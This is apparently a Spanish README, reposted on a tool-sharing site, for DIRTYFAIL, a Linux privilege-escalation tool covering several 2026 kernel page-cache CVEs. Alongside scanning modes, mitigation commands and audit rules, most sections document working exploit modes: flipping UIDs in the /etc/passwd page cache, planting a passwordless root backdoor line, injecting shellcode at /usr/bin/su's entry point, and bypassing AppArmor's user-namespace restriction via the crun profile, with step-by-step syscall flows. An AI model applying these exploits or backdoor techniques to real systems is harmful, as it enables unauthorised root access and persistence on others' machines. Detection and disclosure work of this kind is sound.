make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

La compilación predeterminada produce un único binario de ~80 KB en ./dirtyfail. Para una compilación portátil que se ejecute en cualquier Linux compatible con el kernel sin deriva de dependencias de glibc:```sh make static CC=musl-gcc

root@kitploit:~
(instala `musl-tools` en Debian/Ubuntu, o compila musl desde el código fuente).

---

## 6. Uso

`./dirtyfail --help` es la referencia canónica; los modos se desglosan
por categoría:

**Detección (seguro; sin modificación del sistema):**

| Modo | Qué hace |
|---|---|
| `--scan` | Ejecuta los cinco detectores (modo predeterminado) |
| `--scan --active` | Añade una sonda STORE con archivo centinela por CVE — distingue precondiciones cumplidas de realmente explotable |
| `--scan --json` | Emite un único objeto JSON en stdout (compatible con SIEM); los registros van a stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | Solo detección por CVE |

**Explotación (requiere confirmación tecleada; corrompe la caché de páginas de `/etc/passwd`):**

| Modo | Qué hace |
|---|---|
| `--exploit-copyfail` | Cambio de UID mediante la primitiva de 4 bytes `algif_aead` |
| `--exploit-esp` | Cambio de UID mediante xfrm-ESP v4 (requiere userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | Cambio de UID mediante xfrm-ESP v6 |
| `--exploit-rxrpc` | Campo de contraseña de root vacío mediante fuerza bruta con rxkad fcrypt |
| `--exploit-gcm` | Cambio de UID mediante la primitiva de un solo byte `rfc4106(gcm(aes))` |
| `--exploit-backdoor` | PERSISTENTE: inserta `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | Estilo V4bel: inserta shellcode específico de la arquitectura en el punto de entrada de `/usr/bin/su`. x86_64 probado de extremo a extremo; aarch64 se distribuye sin probar en hardware (controlado por la variable de entorno `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |

**Limpieza / inspección de estado:**

| Modo | Qué hace |
|---|---|
| `--cleanup` | Expulsa `/etc/passwd` de la caché de páginas (`fadvise` + `drop_caches` si se es root) |
| `--cleanup-backdoor` | Restaura la línea original de `/etc/passwd` desde el archivo de estado |
| `--cleanup-su` | Restaura los bytes del punto de entrada de `/usr/bin/su` desde el archivo de estado |
| `--list-state` | Informa de qué (si acaso algo) está actualmente implantado; sin efectos secundarios |

**Defensivo (requiere root):**

| Modo | Qué hace |
|---|---|
| `--mitigate` | Pone en lista negra los módulos `algif_aead`/`esp4`/`esp6`/`rxrpc`; establece `apparmor_restrict_unprivileged_userns=1`; drop_caches. Efectos secundarios: rompe IPsec, AFS |
| `--cleanup-mitigate` | Elimina los archivos modprobe/sysctl instalados por `--mitigate` |

**Opciones comunes:**

| Opción | Efecto |
|---|---|
| `--no-shell` | Después de una explotación exitosa, no ejecutes `execve su` — verifica y revierte |
| `--no-revert` | Con `--no-shell`, también omite la reversión automática (usado por la demo de container-escape) |
| `--active` | Añade sondas centinela-STORE activas a `--scan`/`--check-*` |
| `--json` | (con `--scan`) emite salida legible por máquina |
| `--no-color` | Desactiva el color ANSI |
| `--aa-bypass` | (solo DEBUG) fuerza el bypass de AppArmor para userns sin privilegios — los exploits hacen esto internamente, ver §8.5 |

### Ejemplos de detección

Escaneo simple (solo precondiciones — rápido, ~1s):```sh
./dirtyfail --scan

Sonda centinela activa por CVE (~10s, solo modifica centinelas de /tmp):```sh ./dirtyfail --scan --active

root@kitploit:~
JSON para la ingesta en SIEM/flota:```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

Status values: vulnerable, not_vulnerable, preconds_missing, test_error. El resumen refleja el peor de todos los resultados.

Ejemplos de exploit (se requiere confirmación por teclado)```sh

./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)

root@kitploit:~
Cada exploit solicita `DIRTYFAIL` + (cuando corresponda)
`YES_BREAK_SSH` antes de cualquier modificación de la caché de páginas.

### Inspección de estado + limpieza```sh
./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

O pasar directamente al kernel:```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

root@kitploit:~
---

## 7. Cómo detecta DIRTYFAIL cada CVE

### Copy Fail (sonda centinela activa)

La detección realmente dispara la primitiva contra un archivo centinela en `/tmp`:

1. Prueba `socket(AF_ALG, SOCK_SEQPACKET, 0)` y `bind` a `authencesn(hmac(sha256), cbc(aes))`.
2. Crea un archivo centinela de 4 KiB en `/tmp` y provoca un fallo de página en su primera página para cargarla en la caché.
3. Ejecuta la primitiva completa del exploit contra él: `sendmsg` AAD con `seqno_lo = "PWND"`, hace splice de 32 bytes del centinela en el socket de operación AF_ALG, acciona `recv` para disparar la escritura scratch.
4. Relee el centinela y busca `PWND` en cualquier parte de la primera página.

Marcador encontrado ⇒ vulnerable. Marcador ausente pero el contenido de la página difiere ⇒ la primitiva se disparó parcialmente (sigue siendo vulnerable). Página idéntica ⇒ no vulnerable en este kernel.

### Dirty Frag xfrm-ESP (basado en precondiciones — o activo con `--active`)

El `--scan` predeterminado es solo de precondiciones: no entramos en un espacio de nombres de usuario en el modo de detección (produciría efectos secundarios en la red dentro de ese espacio de nombres). Comprobamos:

* versión del kernel dentro de la ventana afectada
* `esp4` / `esp6` cargados actualmente o autocargables
* la creación de espacios de nombres de usuario sin privilegios tiene éxito (probada mediante fork →
  hijo `unshare(CLONE_NEWUSER)`)
* AppArmor `apparmor_userns_caps_blocked()` devuelve false

Con los cuatro presentes ⇒ VULNERABLE (precondiciones cumplidas).

`--scan --active` extiende esto con una sonda centinela-STORE: hacemos fork de un hijo que arma el bypass de AA, entra en un espacio de nombres de usuario/red nuevo, registra una SA XFRM y dispara el trigger ESP-en-UDP contra un archivo centinela `/tmp/dirtyfail-esp-probe.XXXXXX`. El padre relee el centinela y busca los bytes marcadores:

* marcador presente → el STORE del kernel es alcanzable → **VULNERABLE**
* página intacta → el parche del kernel está activo → **NO VULNERABLE**
* bypass de AA denegado → **PRECOND_FAIL** (mitigado por LSM)

Esta es la única forma de distinguir un kernel parcheado mediante backport de uno sin parchear sin ejecutar el exploit completo de volteo de UID contra `/etc/passwd`. El mismo patrón se usa para ESP v6, RxRPC y GCM bajo `--active`.

### Dirty Frag RxRPC (basado en precondiciones — o activo con `--active`)

Precondiciones:
* `rxrpc` en `/proc/modules` o autocargable
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` tiene éxito

Sonda activa (`--active`): hace fork vía bypass de AA, registra una clave de sesión rxrpc con un valor arbitrario de 8 bytes, envía una falsificación CHALLENGE + DATA contra un centinela en `/tmp` y busca cualquier cambio de byte dentro de la ventana de 8 bytes empalmada. No intentamos predecir qué se escribió — cualquier modificación confirma que el STORE del kernel se dispara.

### Variante GCM de Copy Fail + ESP v6 — misma forma

La sonda activa de la variante GCM instala una SA en modo transporte con un IV arbitrario y dispara `gcm_trigger` contra un centinela en `/tmp`; cualquier cambio de byte en `sentinel[0]` confirma la alcanzabilidad. La sonda ESP v6 también autocalibra `V6_STORE_SHIFT` por compilación del kernel (ver `calibrate_v6_shift` en `src/dirtyfrag_esp6.c`): las compilaciones de `esp6_input` de diferentes distros colocan el STORE en desplazamientos ligeramente distintos dentro de la región empalmada, y la sonda de calibración descubre el desplazamiento exacto antes de que se dispare el exploit real.

---

## 8. Cómo explota DIRTYFAIL cada CVE

### Exploit de Copy Fail (`copyfail.c`)

STORE único de 4 bytes a través de `algif_aead`:```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

Dirty Frag xfrm-ESP exploit (dirtyfrag_esp.c)

Mismo estado final que Copy Fail, alcanzado a través de xfrm_input en lugar de algif_aead:``` [/etc/passwd page cache] unshare(USER|NET); setup uid_map; ifup lo NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP udp_send connect 127.0.0.1:4500 vmsplice ESP wire header (24B) ─▶ pipe splice /etc/passwd@uid_off (16B) ─▶ pipe splice pipe (40B) ─▶ udp_send udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input skb has frags, no frag_list ─▶ goto skip_cow (THE BUG) crypto_authenc_esn_decrypt: scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE AEAD auth fails (EBADMSG) — but the STORE is permanent page-cache copy of /etc/passwd now reports uid 0 for the user

root@kitploit:~
Luego sal del namespace, `execlp("su", user)` desde el padre — el mismo paso final que en Copy Fail.

### Exploit Dirty Frag RxRPC (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

--exploit-su inyección de shellcode (exploit_su.c)

Una segunda cadena de ataque sin /etc/passwd, modelada a partir del exploit de referencia de V4bel. En lugar de editar la caché de páginas de /etc/passwd, plantamos shellcode específico de la arquitectura en el punto de entrada ELF de /usr/bin/su dentro de su caché de páginas; la próxima vez que alguien ejecute /usr/bin/su, el kernel establece euid=0 a partir del bit setuid en disco, el enlazador dinámico resuelve, y el control se transfiere a nuestro shellcode → /bin/sh como root real del init-ns. Sin dependencia de PAM, omita por completo la eliminación de pam_unix nullok.``` parent (init ns) │ stat /usr/bin/su; verify setuid+root │ parse ELF header; resolve e_entry → file offset │ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state │ for each 4-byte chunk of shellcode: │ cf_4byte_write("/usr/bin/su", file_offset+i, chunk) │ pread() back; verify match │ if --no-shell: │ plant_shellcode(original) # revert via re-write │ fadvise(DONTNEED) on a new fd # evict if possible │ else: │ execl("/usr/bin/su", "su", NULL) ─► │ kernel exec /usr/bin/su (setuid root) │ ld-linux.so resolves │ jumps to e_entry → our shellcode │ setuid(0); setgid(0); │ execve("/bin/sh", argv, NULL) ▼ ────► root shell

root@kitploit:~
Matriz de arquitectura:

* **x86_64 (56 bytes, 14 escrituras encadenadas de 4 bytes)** — probado
  de extremo a extremo en Fedora 44 (`uid=0(root) gid=0(root) ...
  context=unconfined_u:unconfined_r:unconfined_t`). Shellcode en
  `shellcode_x86_64[]`.
* **aarch64 (80 bytes, 20 instrucciones)** — codificado a mano desde la
  referencia ARMv8-A, **nunca ejecutado en hardware**. Oculto tras
  `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. El código fuente se incluye en
  `tools/exploit_su_aarch64.S` para verificación comunitaria — ensámblalo
  con `aarch64-linux-gnu-as` y confirma que la secuencia de bytes coincide
  con `shellcode_aarch64[]`.
* cualquier otra cosa → preconds_fail.

El archivo de estado `/var/tmp/.dirtyfail-su.state` guarda los bytes
originales del punto de entrada para que `--cleanup-su` pueda restaurarlos.
`--list-state` inspecciona este archivo (y el de la backdoor) sin tocar nada.

Si el paso de verificación detecta que la caché de páginas no coincide con
el shellcode plantado (kernel parcheado, AF_ALG en lista negra, etc.), la
reversión automática se dispara inmediatamente y el archivo de estado se
elimina — no es necesario que el operador ejecute cleanup-su después.

---

## 8.5 Arquitectura: bypass basado en fork externo/interno

Los cinco modos de explotación comparten una arquitectura común para
manejar la política `apparmor_restrict_unprivileged_userns=1` de Ubuntu
sin atrapar al `su` posterior a la explotación dentro de un userns donde
no puede alcanzar la raíz real del init-ns.

### El problema

Un bypass ingenuo coloca *todo* el proceso `dirtyfail` dentro de un
namespace de usuario nuevo mediante `unshare(CLONE_NEWUSER)`. Eso basta
para registrar SAs XFRM y disparar los triggers de splice — pero también
significa que el eventual `execlp("su", user)` se ejecuta dentro del
userns, donde el uid 0 se mapea mediante `uid_map "0 1000 1"` al uid
externo del operador (1000). El `setresuid(0)` de PAM termina entonces en
userns-uid-0-mapeado-a-1000, que **no** es la raíz real del init-ns —
`cat /etc/shadow` devuelve EACCES, la shell no puede realizar operaciones
privilegiadas.

### La solución: división externo/interno```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

El padre nunca entra en un namespace de usuario. El hijo hace el bypass + el trabajo de kernel, modifica la caché de páginas global (que es compartida entre namespaces — el único "puente" que necesitamos), y sale. El su del padre es entonces una llamada setresuid normal en el namespace de init.

Transferencia de padre a hijo mediante variables de entorno

execv preserva el entorno, así que el padre guarda los parámetros de la operación en variables de entorno antes de hacer fork. Cada modo define las suyas:

Cuando la etapa 2 del bypass se completa, main() comprueba DIRTYFAIL_INNER_MODE y despacha a <mode>_exploit_inner(). La parte interna hace solo el trabajo de kernel (sin prompts, sin fork, sin su) y sale con el código de resultado. El padre lo recolecta mediante waitpid y continúa con la verificación.

Por qué el bypass de un solo salto

El baile de dos saltos anterior (change_onexec("crun") → change_onexec("chrome")) causaba fallos intermitentes de ENOSPC en Ubuntu 24.04 en nuestra cadena de exec (probablemente una peculiaridad de contabilidad por perfil en userns). El salto único a crun es suficiente: el perfil de AppArmor de crun tiene flags=(unconfined) y permiso explícito userns,, por lo que unshare tiene éxito y se mantiene.

Por qué no hay un bucle infinito de re-ejecución

Después de que la etapa 2 se completa con éxito, se establece una bandera local de proceso g_bypass_done. Si se vuelve a llamar a apparmor_bypass_needed() en el mismo proceso, se cortocircuita a false, evitando que el código posterior al exploit rearne y anide otra capa de userns (lo que antes alcanzaba el límite de anidamiento por userns como ENOSPC).

--aa-bypass ahora es una bandera solo para depuración

En la arquitectura antigua, --aa-bypass armaba un bypass de todo el proceso antes del despacho del exploit. En la arquitectura nueva, los modos de exploit realizan su propio bypass basado en fork internamente; la bandera ya no es necesaria para el uso normal. Se mantiene para depurar la mecánica del bypass de forma aislada (p. ej. ejecutando --scan dentro de un userns de bypass), con una advertencia de que puede romper el su posterior al exploit.


9. Mitigaciones

Copy Fail (CVE-2026-31431)

  1. Aplica el parche. Mainline a664bf3d; los backports llegaron a las líneas estables 6.12 / 6.17 / 6.18.
  2. Medida provisional: bloquea algif_aead: ```sh echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf sudo rmmod algif_aead 2>/dev/null
    root@kitploit:~

⚠ Nota: esto no mitiga Dirty Frag. La ruta xfrm-ESP llega a la misma primitiva authencesn sin pasar por algif_aead.

Dirty Frag xfrm-ESP (CVE-2026-43284)

  1. Aplica el parche. La rama principal f4c50a4034e6 (fusionado el 2026-05-07). Los backports de las distribuciones se están desplegando a partir del 2026-05-08.
  2. Medida provisional: bloquea esp4 y esp6: ```sh sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF' install esp4 /bin/false install esp6 /bin/false EOF sudo rmmod esp4 esp6 2>/dev/null sudo sysctl vm.drop_caches=3
    root@kitploit:~

⚠ Esto rompe las VPN de IPsec / strongSwan / libreswan. 3. Defensa en profundidad: no permitir namespaces de usuario sin privilegios. Ubuntu hace esto por defecto mediante AppArmor; en otras distribuciones: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0

root@kitploit:~
### Dirty Frag RxRPC (CVE-2026-43500)

1. **Aún no hay parche upstream.** Parche del investigador en lkml; no integrado al
momento de escribir esto (2026-05-08).
2. **Provisional**: lista negra de `rxrpc`:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

⚠ Esto rompe los clientes del sistema de archivos distribuido AFS. La mayoría de los servidores no necesitan rxrpc.

One-liner combinado (los tres)```sh

sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '

root@kitploit:~
### O usa `dirtyfail --mitigate`

El mismo conjunto de mitigaciones está encapsulado en un modo defensivo con confirmación escrita:```sh
sudo ./dirtyfail --mitigate

Esto coloca /etc/modprobe.d/dirtyfail-mitigations.conf y /etc/sysctl.d/99-dirtyfail-mitigations.conf, descarga los cuatro módulos y ejecuta drop_caches. Se revierte con sudo ./dirtyfail --cleanup-mitigate. Efectos secundarios: rompe IPsec, clientes AFS y cualquier espacio de usuario que use AF_ALG AEAD. Consulta docs/DEFENDERS.md para el manual completo de administración de sistemas.

Detección / monitorización

Para detección continua independiente de los parches:

  • Escanear un host: dirtyfail --scan --active (sonda sentinel-STORE completa) o dirtyfail --scan --active --json para ingestión en SIEM/flota. La variante bash tools/dirtyfail-check.sh no tiene dependencias de compilación.
  • Reglas de auditoría: tools/99-dirtyfail.rules es un conjunto de reglas auditd listo para usar que cubre las cinco rutas de syscall que usa la cadena de explotación (registro netlink XFRM, add_key("rxrpc"), unshare(CLONE_NEWUSER), creación de sockets AF_ALG, escrituras en /etc/passwd//etc/shadow). Instala con: ```sh sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/ sudo augenrules --load && sudo systemctl restart auditd
    root@kitploit:~
  • Demostración del radio de explosión del contenedor: tools/dirtyfail-container-escape.sh muestra que la caché de páginas del kernel se comparte entre espacios de nombres — útil para explicar el impacto entre inquilinos a los operadores.

10. Ética y divulgación

DIRTYFAIL es una herramienta de investigación. Las vulnerabilidades que cubre ya fueron divulgadas públicamente con PoCs armados en la naturaleza (ver Créditos) — DIRTYFAIL añade cobertura de detección, documentación unificada y una variante de PoC más suave (cambio de UID vs sobrescritura de ELF de /usr/bin/su).

  • No ejecutes los modos --exploit-* en sistemas que no poseas o para los que no tengas autorización explícita de pruebas. Las modificaciones de la caché de páginas son reversibles con drop_caches, pero siguen siendo una escalada de privilegios mientras persistan.
  • No despliegues DIRTYFAIL como un "escáner" contra infraestructura de terceros sin autorización por escrito. El modo de detección no modifica los archivos del sistema, pero abre un archivo centinela en /tmp y ejercita la API criptográfica del kernel.
  • Si encuentras un sistema vulnerable en la naturaleza, sigue una divulgación responsable al operador, no al público.

Bonus: notas sobre la variante GCM + backdoor + bypass de AppArmor

Estas tres características extienden DIRTYFAIL con técnicas publicadas por primera vez por 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo. Reimplementadas al estilo DIRTYFAIL; el crédito original está en NOTICE.md.

Variante GCM de Copy Fail

Misma ruta xfrm-ESP no-COW que CVE-2026-43284, pero usando rfc4106(gcm(aes)) en lugar de authencesn(...). Dos razones por las que vale la pena incluirla junto a la variante authencesn:

  1. Cobertura. Un defensor que haya bloqueado algif_aead para mitigar Copy Fail (CVE-2026-31431) sigue siendo vulnerable aquí — la ruta GCM no pasa por algif_aead.
  2. Granularidad. AES-GCM en modo contador hace XOR del flujo de claves sobre el byte empalmado. Mediante fuerza bruta del IV (~256 intentos por byte) conseguimos un único byte arbitrario en cualquier desplazamiento del archivo — sin alineación de 4 bytes, sin efectos secundarios de 4 bytes.

La primitiva de 1 byte (cfg_1byte_write) es lo que hace factible el modo de puerta trasera persistente.

Puerta trasera persistente

--exploit-backdoor selecciona la línea más larga de /etc/passwd cuyo shell esté en {nologin, false, sync} y la sobrescribe byte a byte con dirtyfail::0:0:<pad>:/:/bin/bash (con la misma longitud). Tras la instalación, su - dirtyfail desde cualquier usuario otorga una shell de root — sin solicitud de contraseña — porque pam_unix.so nullok acepta el campo de contraseña vacío.

El nombre de usuario dirtyfail está marcado intencionalmente para este proyecto, de modo que sea fácil de detectar en cualquier auditoría posterior — los defensores que ejecuten grep dirtyfail /etc/passwd (o cualquier HIDS que haga lo mismo) verán la línea de inmediato. Si necesitas un identificador diferente para un ejercicio específico de red team, cambia NEW_USER y DF_PREFIX en src/backdoor.c.

El archivo en disco no cambia; la sustitución reside solo en la caché de páginas. --cleanup-backdoor restaura la línea original mediante la misma primitiva.

Bypass de AppArmor

Ubuntu 24.04+ incluye apparmor_restrict_unprivileged_userns=1. El perfil predeterminado aplicado a binarios no privilegiados permite que unshare(USER) tenga éxito pero elimina CAP_NET_ADMIN en el nuevo espacio de nombres. El registro de XFRM SA falla entonces silenciosamente.

El bypass: escribe "exec crun" en /proc/self/attr/exec y execv para cambiar al perfil crun de AppArmor, que tiene flags=(unconfined) y permiso explícito userns,. Después del exec, unshare(CLONE_NEWUSER | CLONE_NEWNET) tiene éxito con todas las capacidades dentro del nuevo espacio de nombres.

DIRTYFAIL maneja esto por modo de exploit mediante un fork: el padre permanece en el espacio de nombres init, el hijo hace el bypass + el trabajo del kernel, el padre lee la caché de páginas global y ejecuta su para el root real de init-ns. Ver §8.5 Arquitectura para la cadena completa. El flag heredado --aa-bypass (que activaba el bypass para todo el proceso) se conserva solo para depuración.

La técnica original proviene de aa-rootns.c de 0xdeadbeefnetwork (acreditada allí a Brad Spengler / grsecurity). La implementación de DIRTYFAIL:

  • Detecta la restricción mediante el kernel.apparmor_restrict_unprivileged_userns en lugar de leer /proc/self/attr/current (que todavía muestra "unconfined" en Ubuntu 24.04 incluso cuando la política está restringiendo).
  • Usa un único salto a crun en lugar de la secuencia de dos saltos crun → chrome — el segundo salto causaba ENOSPC intermitente en Ubuntu 24.04.
  • Establece un flag local al proceso g_bypass_done tras la etapa 2 para que las comprobaciones repetidas hagan cortocircuito (evitando bucles infinitos de re-exec que antes agotaban el límite de anidamiento por userns).

11. Créditos

DIRTYFAIL es código original, pero las técnicas que implementa fueron desarrolladas por los investigadores que se indican a continuación. Lee sus fuentes primarias antes de desplegar esta herramienta — son las referencias canónicas.

Autores de los parches:

  • f4c50a4034e6 (Dirty Frag xfrm-ESP) — basado en el parche v1 de Hyunwoo Kim, con el enfoque de fragmento compartido fusionado por Kuan-Ting Chen.
  • Parche RxRPC — Hyunwoo Kim, pendiente de integración.

Licencia

MIT. Ver LICENSE.


Contacto

Abre un issue en este repositorio o contacta con la dirección indicada en el historial de commits. Para la divulgación coordinada de problemas relacionados, contacta directamente con los investigadores upstream mencionados anteriormente.

Descargar herramienta
ModoVariables de entorno
esp / esp6 / gcmDIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER
rxrpcDIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (hex) — el brute force de fcrypt ocurre en el padre (sin necesidad de caps); las claves se pasan al hijo para los triggers reales
backdoor-install / backdoor-cleanupDIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE
FuenteInvestigadorContribución
https://copy.fail/AnonymousDivulgación original de Copy Fail
https://github.com/Smarttfoxx/copyfailSmarttfoxxPoC en C (variante con shellcode en su)
https://github.com/rootsecdev/cve_2026_31431rootsecdevDetector en Python + PoC de cambio de UID; la ergonomía del modo --exploit-copyfail de DIRTYFAIL sigue este enfoque.
https://github.com/V4bel/dirtyfragHyunwoo Kim (@v4bel)Descubrimiento de Dirty Frag, PoC de cadena completa, parches de kernel
https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo0xdeadbeefnetworkExploit de la variante GCM, PoC IPv6, técnica de bypass de userns en AppArmor
https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/BleepingComputerCobertura pública